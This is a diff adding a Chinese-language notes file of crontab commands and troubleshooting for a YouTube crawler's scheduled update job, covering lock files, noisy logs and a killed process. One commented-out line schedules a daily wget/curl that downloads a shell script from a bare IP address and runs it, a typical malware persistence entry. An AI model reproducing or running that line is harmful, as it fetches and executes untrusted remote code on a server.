初始化提交

爬虫项目的相关命令/test_yt_data_update/scripts/cron相关命令.conf

@@ -0,0 +1,62 @@
+crontab -l
+
+crontab -e
+
+*/1 * * * * bash /data/webapps/prod_yt_search_crawler/cron_run_yt_search_crawler.sh
+
+0 10 * * * /data/webapps/test_yt_data_update/scripts/run_update_yt.sh >> /data/webapps/test_yt_data_update/logs/cron_update_yt.log 2>&1
+
+0 10 * * 1 /data/webapps/test_yt_data_update/scripts/run_update_yt_week.sh >> /data/webapps/test_yt_data_update/logs/cron_update_yt_week.log 2>&1
+
+每10分支执行一次:   */10 * * * * bash /data/webapps/yt_data_update/monitor_update_yt_day.sh
+
+晚上8点执行一次:    0 20 * * * bash /data/webapps/prod_nano_crawler/cron_run_nano_crawler.sh
+
+每天的 11:15 AM:   15 11 * * *
+
+7 14 * * * bash /data/webapps/prod_nano_crawler/cron_run_nano_crawler.sh
+
+
+###  @daily source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh)
+
+
+用 tee 重新启动（日志自动写入多个文件）：
+nohup python async_yt.py | tee -a output.log > output_$(date +%Y%m%d).log 2>&1 &
+
+
+1、这是我的定时任务：
+0 10 * * * /data/webapps/test_yt_data_update/scripts/run_update_yt.sh >> /data/webapps/test_yt_data_update/logs/cron_update_yt.log 2>&1*
+
+2、run_update_yt.shw文件：
+#!/bin/bash
+LOCKFILE="/tmp/update_yt.lock"
+LOGFILE="/data/webapps/test_yt_data_update/logs/update_yt.log"
+cd /data/webapps/test_yt_data_update/
+if [ -e "$LOCKFILE" ]; then
+    echo "$(date): Task is already running, skipping." >> "$LOGFILE"
+    exit 1
+fi
+touch "$LOCKFILE"
+source ~/.bashrc
+conda activate py310
+pip install -r requirements.txt
+python update_yt.py >> "$LOGFILE" 2>&1
+rm -f "$LOCKFILE"
+
+3、经过一天发现有以下问题：
+3.1、通过日志 update_yt.log 发现定时任务确实10点第一次启动运行脚本成功，但是后续没每分钟都执行一次，持续了一小时，我只需要它每天10点启动一次，以下是日志
+- Active tasks: 11/12
+- Queue sizes: video=0, channel=0
+2025-04-11 10:00:06,880 - update_yt.py - INFO - Starting update tasks...
+2025-04-11 10:00:09,125 - update_yt.py - INFO - aiohttp session initialized successfully
+Fri Apr 11 10:01:01 CST 2025: Task is already running, skipping.
+Fri Apr 11 10:02:01 CST 2025: Task is already running, skipping.
+Fri Apr 11 10:03:01 CST 2025: Task is already running, skipping.
+Fri Apr 11 10:04:01 CST 2025: Task is already running, skipping.
+Fri Apr 11 10:05:01 CST 2025: Task is already running, skipping.
+
+3.2、定时任务本身的日志cron_update_yt.log 太冗杂，且没有时间戳，分不清是什么时间的cron，也没有开始结束之类的日志提示，以下是日志，而且它每分钟执行一次导致它日志又60次相同的
+Requirement already satisfied: PyMySQL==1.1.1 in /root/miniconda3/envs/py310/lib/python3.10/site-packages (from -r requirements.txt (line 13)) (1.1.1)
+Requirement already satisfied: python-dotenv==1.0.1 in /root/miniconda3/envs/py310/lib/python3.10/site-packages (from -r requirements.txt (line 14)) (1.0.1)
+Requirement already satisfied: typing_extensions==4.12.2 in /root/miniconda3/envs/py310/lib/python3.10/site-packages (from -r requirements.txt (line 15)) (4.12.2)
+/data/webapps/test_yt_data_update/scripts/run_update_yt.sh: line 15: 30412 Killed                  python update_yt.py >> "$LOGFILE" 2>&1